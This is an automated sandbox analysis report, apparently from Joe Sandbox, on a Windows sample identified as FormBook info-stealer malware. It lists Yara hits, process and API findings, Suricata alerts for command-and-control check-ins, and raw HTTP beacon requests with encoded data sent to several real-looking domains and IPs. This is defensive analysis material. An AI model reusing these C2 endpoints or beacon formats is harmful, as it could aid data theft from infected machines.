Windows Analysis Report
0XLuA614VK.exe

AI detected suspicious sample

Source: Yara match	File source: 2.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000002.2203489925.0000000005000000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.4491976479.0000000006A20000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.4487941986.0000000002590000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2202835266.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2203112079.0000000003480000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.4487732507.0000000000110000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.4487977474.00000000025D0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.4488832936.00000000041A0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: 0XLuA614VK.exe

Joe Sandbox ML: detected

Source: 0XLuA614VK.exe

Static PE information: EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE

Source:	Binary string: msiexec.pdb source: svchost.exe, 00000002.00000003.2171842746.000000000301A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2171888846.000000000303B000.00000004.00000020.00020000.00000000.sdmp, sXmdPDASzrmzi.exe, 00000003.00000003.2279705899.00000000010A9000.00000004.00000001.00020000.00000000.sdmp, sXmdPDASzrmzi.exe, 00000003.00000003.2141716372.00000000010A5000.00000004.00000001.00020000.00000000.sdmp, sXmdPDASzrmzi.exe, 00000003.00000003.2141716372.000000000109B000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: msiexec.pdbGCTL source: svchost.exe, 00000002.00000003.2171842746.000000000301A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2171888846.000000000303B000.00000004.00000020.00020000.00000000.sdmp, sXmdPDASzrmzi.exe, 00000003.00000003.2279705899.00000000010A9000.00000004.00000001.00020000.00000000.sdmp, sXmdPDASzrmzi.exe, 00000003.00000003.2141716372.00000000010A5000.00000004.00000001.00020000.00000000.sdmp, sXmdPDASzrmzi.exe, 00000003.00000003.2141716372.000000000109B000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: sXmdPDASzrmzi.exe, 00000003.00000002.4487730096.000000000005E000.00000002.00000001.01000000.00000004.sdmp
Source:	Binary string: wntdll.pdbUGP source: 0XLuA614VK.exe, 00000000.00000003.2044530612.0000000003A70000.00000004.00001000.00020000.00000000.sdmp, 0XLuA614VK.exe, 00000000.00000003.2044779565.00000000038D0000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.2203138542.0000000003600000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2111792201.0000000003200000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.2203138542.000000000379E000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2113590946.0000000003400000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000004.00000003.2203188667.00000000040B9000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000004.00000002.4488723938.00000000045AE000.00000040.00001000.00020000.00000000.sdmp, msiexec.exe, 00000004.00000002.4488723938.0000000004410000.00000040.00001000.00020000.00000000.sdmp, msiexec.exe, 00000004.00000003.2212872655.0000000004267000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: 0XLuA614VK.exe, 00000000.00000003.2044530612.0000000003A70000.00000004.00001000.00020000.00000000.sdmp, 0XLuA614VK.exe, 00000000.00000003.2044779565.00000000038D0000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, svchost.exe, 00000002.00000002.2203138542.0000000003600000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2111792201.0000000003200000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.2203138542.000000000379E000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2113590946.0000000003400000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, msiexec.exe, 00000004.00000003.2203188667.00000000040B9000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000004.00000002.4488723938.00000000045AE000.00000040.00001000.00020000.00000000.sdmp, msiexec.exe, 00000004.00000002.4488723938.0000000004410000.00000040.00001000.00020000.00000000.sdmp, msiexec.exe, 00000004.00000003.2212872655.0000000004267000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: svchost.pdb source: sXmdPDASzrmzi.exe, 00000003.00000002.4490540012.00000000045EC000.00000004.80000000.00040000.00000000.sdmp, msiexec.exe, 00000004.00000002.4488021727.0000000002663000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000004.00000002.4489252166.0000000004A3C000.00000004.10000000.00040000.00000000.sdmp, firefox.exe, 00000006.00000002.2496207434.000000003B6FC000.00000004.80000000.00040000.00000000.sdmp
Source:	Binary string: svchost.pdbUGP source: sXmdPDASzrmzi.exe, 00000003.00000002.4490540012.00000000045EC000.00000004.80000000.00040000.00000000.sdmp, msiexec.exe, 00000004.00000002.4488021727.0000000002663000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000004.00000002.4489252166.0000000004A3C000.00000004.10000000.00040000.00000000.sdmp, firefox.exe, 00000006.00000002.2496207434.000000003B6FC000.00000004.80000000.00040000.00000000.sdmp

Source: C:\Users\user\Desktop\0XLuA614VK.exe	Code function: 0_2_00F8DBBE lstrlenW,GetFileAttributesW,FindFirstFileW,FindClose,	0_2_00F8DBBE
Source: C:\Users\user\Desktop\0XLuA614VK.exe	Code function: 0_2_00F5C2A2 FindFirstFileExW,	0_2_00F5C2A2
Source: C:\Users\user\Desktop\0XLuA614VK.exe	Code function: 0_2_00F968EE FindFirstFileW,FindClose,	0_2_00F968EE
Source: C:\Users\user\Desktop\0XLuA614VK.exe	Code function: 0_2_00F9698F FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,FileTimeToSystemTime,FileTimeToSystemTime,	0_2_00F9698F
Source: C:\Users\user\Desktop\0XLuA614VK.exe	Code function: 0_2_00F8D076 FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	0_2_00F8D076
Source: C:\Users\user\Desktop\0XLuA614VK.exe	Code function: 0_2_00F8D3A9 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	0_2_00F8D3A9
Source: C:\Users\user\Desktop\0XLuA614VK.exe	Code function: 0_2_00F99642 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	0_2_00F99642
Source: C:\Users\user\Desktop\0XLuA614VK.exe	Code function: 0_2_00F9979D SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	0_2_00F9979D
Source: C:\Users\user\Desktop\0XLuA614VK.exe	Code function: 0_2_00F99B2B FindFirstFileW,Sleep,FindNextFileW,FindClose,	0_2_00F99B2B
Source: C:\Users\user\Desktop\0XLuA614VK.exe	Code function: 0_2_00F95C97 FindFirstFileW,FindNextFileW,FindClose,	0_2_00F95C97
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4_2_0012BF20 FindFirstFileW,FindNextFileW,FindClose,	4_2_0012BF20

Source: C:\Program Files (x86)\tDCzgUpqMpyFtrEZKjWXqEXSFoaiZJoViUUxeRKTJygWDziRLNg\sXmdPDASzrmzi.exe	Code function: 4x nop then pop edi	3_2_06A29F51
Source: C:\Program Files (x86)\tDCzgUpqMpyFtrEZKjWXqEXSFoaiZJoViUUxeRKTJygWDziRLNg\sXmdPDASzrmzi.exe	Code function: 4x nop then pop edi	3_2_06A28C87
Source: C:\Program Files (x86)\tDCzgUpqMpyFtrEZKjWXqEXSFoaiZJoViUUxeRKTJygWDziRLNg\sXmdPDASzrmzi.exe	Code function: 4x nop then pop edi	3_2_06A28D01
Source: C:\Program Files (x86)\tDCzgUpqMpyFtrEZKjWXqEXSFoaiZJoViUUxeRKTJygWDziRLNg\sXmdPDASzrmzi.exe	Code function: 4x nop then xor eax, eax	3_2_06A2D295
Source: C:\Program Files (x86)\tDCzgUpqMpyFtrEZKjWXqEXSFoaiZJoViUUxeRKTJygWDziRLNg\sXmdPDASzrmzi.exe	Code function: 4x nop then mov esp, ebp	3_2_06A27A61
Source: C:\Program Files (x86)\tDCzgUpqMpyFtrEZKjWXqEXSFoaiZJoViUUxeRKTJygWDziRLNg\sXmdPDASzrmzi.exe	Code function: 4x nop then pop edi	3_2_06A280CF
Source: C:\Program Files (x86)\tDCzgUpqMpyFtrEZKjWXqEXSFoaiZJoViUUxeRKTJygWDziRLNg\sXmdPDASzrmzi.exe	Code function: 4x nop then pop ebx	3_2_06A29918
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4x nop then xor eax, eax	4_2_00119760
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4x nop then mov ebx, 00000004h	4_2_041B053E

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.5:57195 -> 72.52.178.23:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.5:57195 -> 72.52.178.23:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:57198 -> 15.197.240.20:80
Source: Network traffic	Suricata IDS: 2856318 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M4 : 192.168.2.5:57198 -> 15.197.240.20:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:57194 -> 72.52.178.23:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:57193 -> 72.52.178.23:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.5:49711 -> 199.59.243.226:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.5:49711 -> 199.59.243.226:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:57196 -> 15.197.240.20:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.5:57203 -> 199.59.243.226:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.5:57203 -> 199.59.243.226:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:57202 -> 199.59.243.226:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.5:57207 -> 162.0.213.94:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.5:57207 -> 162.0.213.94:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:57205 -> 162.0.213.94:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.5:57199 -> 15.197.240.20:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.5:57199 -> 15.197.240.20:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:57206 -> 162.0.213.94:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:57201 -> 199.59.243.226:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.5:57215 -> 34.149.87.45:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:57224 -> 72.52.178.23:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:57204 -> 162.0.213.94:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:57200 -> 199.59.243.226:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.5:57211 -> 13.248.151.237:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.5:57211 -> 13.248.151.237:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.5:57215 -> 34.149.87.45:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:57234 -> 199.59.243.226:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:57212 -> 34.149.87.45:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:57220 -> 34.149.87.45:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:57218 -> 91.203.110.247:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:57210 -> 13.248.151.237:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.5:57219 -> 91.203.110.247:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.5:57219 -> 91.203.110.247:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:57209 -> 13.248.151.237:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.5:57240 -> 72.52.178.23:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:57233 -> 199.59.243.226:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:57222 -> 34.149.87.45:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.5:57240 -> 72.52.178.23:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:57208 -> 13.248.151.237:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:57213 -> 34.149.87.45:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:57225 -> 72.52.178.23:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.5:57223 -> 34.149.87.45:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.5:57223 -> 34.149.87.45:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.5:57235 -> 199.59.243.226:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.5:57235 -> 199.59.243.226:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:57216 -> 91.203.110.247:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:57226 -> 72.52.178.23:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.5:57227 -> 72.52.178.23:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.5:57227 -> 72.52.178.23:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:57230 -> 199.59.243.226:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.5:57236 -> 199.59.243.226:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.5:57236 -> 199.59.243.226:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:57221 -> 34.149.87.45:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:57192 -> 72.52.178.23:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:57232 -> 199.59.243.226:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:57239 -> 72.52.178.23:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:57228 -> 199.59.243.226:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:57214 -> 34.149.87.45:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:57237 -> 72.52.178.23:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:57197 -> 15.197.240.20:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:57238 -> 72.52.178.23:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:57217 -> 91.203.110.247:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.5:57231 -> 199.59.243.226:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.5:57231 -> 199.59.243.226:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:57229 -> 199.59.243.226:80

Source: Joe Sandbox View	IP Address: 72.52.178.23 72.52.178.23
Source: Joe Sandbox View	IP Address: 72.52.178.23 72.52.178.23
Source: Joe Sandbox View	IP Address: 162.0.213.94 162.0.213.94

Source: Joe Sandbox View	ASN Name: LIQUIDWEBUS LIQUIDWEBUS
Source: Joe Sandbox View	ASN Name: ACPCA ACPCA
Source: Joe Sandbox View	ASN Name: TANDEMUS TANDEMUS
Source: Joe Sandbox View	ASN Name: BODIS-NJUS BODIS-NJUS

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: C:\Users\user\Desktop\0XLuA614VK.exe

Code function: 0_2_00F9CE44 InternetReadFile,SetEvent,GetLastError,SetEvent,

0_2_00F9CE44

Source: global traffic	HTTP traffic detected: GET /wuux/?sH=nVVHdDTx2PSTVJ&V6h=G8W1V2+ngxJ+E83/0IyfiXupIqoHasoRgPgAY3+/EHQIvd2Wul84Lo8VWixQDtg5AMG3Phy0eNTP33PkrrD0t0eGx0WSmGJ1HH0cwOwxD95TaQSaBMeTfZ443OH1gA0wDQ== HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8Accept-Language: en-USHost: www.whiskeydecanterset.comConnection: closeUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:40.0) Gecko/20100101 Firefox/40.0
Source: global traffic	HTTP traffic detected: GET /f1qc/?V6h=hzwN5LvsQYGPXTyx42WRS7uCqzLBy6ud4OZoJGct5lGhQCi/JqvYfzOI1V2uJBuqGZjzCjoJ029vt64MfCw2DjbXOZQ5rAFnHlGKde1l7O/bIsy3YWShbixw9PLvmnDlNA==&sH=nVVHdDTx2PSTVJ HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8Accept-Language: en-USHost: www.4odagiyn.clickConnection: closeUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:40.0) Gecko/20100101 Firefox/40.0
Source: global traffic	HTTP traffic detected: GET /n4sv/?V6h=Rn8sYt8YDaYT7jFf5K1RN21751bCn2USuvRVR0XZr3jMl4ljVezIqMhPdYzWo0QynoEEVao5Nd7ZkOoeHk8KzYmVnd6lY3cEc8VkS42gD8QuE3e2/CTNStdnS6k5rMWW1Q==&sH=nVVHdDTx2PSTVJ HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8Accept-Language: en-USHost: www.marinamaquiagens.onlineConnection: closeUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:40.0) Gecko/20100101 Firefox/40.0
Source: global traffic	HTTP traffic detected: GET /iuti/?V6h=hoHbkVcpbob4KKGwTSg4Qmxuxm4KO3ujR6NVpJZRiS90gufBWzA0W/yR6JGFw3H3NTWRULQgnx1gCbPTi357oLTiVxRhMsTUHJ+Wl6jWlVJ6tv3Z5Sqw5Cg13CqV209vow==&sH=nVVHdDTx2PSTVJ HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8Accept-Language: en-USHost: www.yi992.comConnection: closeUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:40.0) Gecko/20100101 Firefox/40.0
Source: global traffic	HTTP traffic detected: GET /ig9u/?V6h=DsbZHDl7ETyucOGSRMDREU0gLqon/JCM1qPnn3cy3RxLEFGk9lVuu2W6wSDxGu+YER8koFm75cmrGcIzTbmZQ3LhDYrene07E1oxIZlh9GtUu7RZMRKLFDCiJnSgV5dMHg==&sH=nVVHdDTx2PSTVJ HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8Accept-Language: en-USHost: www.rigintech.infoConnection: closeUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:40.0) Gecko/20100101 Firefox/40.0
Source: global traffic	HTTP traffic detected: GET /r6tm/?sH=nVVHdDTx2PSTVJ&V6h=03r06RSocIWRHlQMBHZ7/ZdxuKKmGlmlv7BltFVQgkYFIdRnDBF7O8WDu3tP30gBrpd5Hehkjcnr6TVmd9giBmXATSrzqLCUTktLP3Nid+3n62oF5w/Mdat6l5CFzOydDA== HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8Accept-Language: en-USHost: www.bnmlk.orgConnection: closeUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:40.0) Gecko/20100101 Firefox/40.0
Source: global traffic	HTTP traffic detected: GET /ld3u/?V6h=7cSyNGFy/S5quoM6udyikngV4L2ptvlq1/kf9BPZtTlwCENfjvle2IZfxcv5JQLEZFLmm1935WPn1s0g14qVusJPQGgEr6+5yVxfblixZgca2mD/C/dkht+8dQzCD1+Jew==&sH=nVVHdDTx2PSTVJ HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8Accept-Language: en-USHost: www.smokesandhoney.comConnection: closeUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:40.0) Gecko/20100101 Firefox/40.0
Source: global traffic	HTTP traffic detected: GET /ccpi/?sH=nVVHdDTx2PSTVJ&V6h=96vdCLF6vzOjbBC3mbkrC4zzUz2rd8Vx/oWpiC2btghNh3zo1JohGtlH0OSuyloWV4aL4gulV88Z8WUGiHxG/5dbitedT3dwls/KnYRS+O7Xw5tFmWV2oMBDB9F7a8JBDA== HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8Accept-Language: en-USHost: www.wildenmann.shopConnection: closeUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:40.0) Gecko/20100101 Firefox/40.0
Source: global traffic	HTTP traffic detected: GET /lztc/?V6h=7O2Vi30c2oKUz/gZ0nmLwDIgwhZodI9AolnTqJiIqHlz4L2fxMx7xnfeqZW9vH+mS4f3qWyrmk5EaMabwLfk8B7yJXbJanTlK0OvtO++wyfSRGRbh4BKfAxEuo7imst0wg==&sH=nVVHdDTx2PSTVJ HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8Accept-Language: en-USHost: www.formytinyhome.comConnection: closeUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:40.0) Gecko/20100101 Firefox/40.0
Source: global traffic	HTTP traffic detected: GET /kfsd/?sH=nVVHdDTx2PSTVJ&V6h=xdt0ktZO0PUVE8ko/vYSpSqVpvi6VCO8XncayCS9euW1eL9fqbwTWogO+vBLUJXWpdaX6FBHI3PARBJ6BBwlCmNGVSn5FdlKflrneiv2THCpchPWcIBHiIkx6LHBCpUWbA== HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8Accept-Language: en-USHost: www.5a8yly.cfdConnection: closeUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:40.0) Gecko/20100101 Firefox/40.0
Source: global traffic	HTTP traffic detected: GET /2hp8/?V6h=CrdAdyOI+okqqhNVS+pkNdIVKBAkN6pudTJL4uhGXJF2xfVUvgIf08oiVWpA0tvbrxzjqgxPP30FNCXR+uyv/IzX8n7qYYw/tQbLXhwufDNvpebHNpaSdeQxoKtamMn3yA==&sH=nVVHdDTx2PSTVJ HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8Accept-Language: en-USHost: www.thecivilwearsprada06.siteConnection: closeUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:40.0) Gecko/20100101 Firefox/40.0
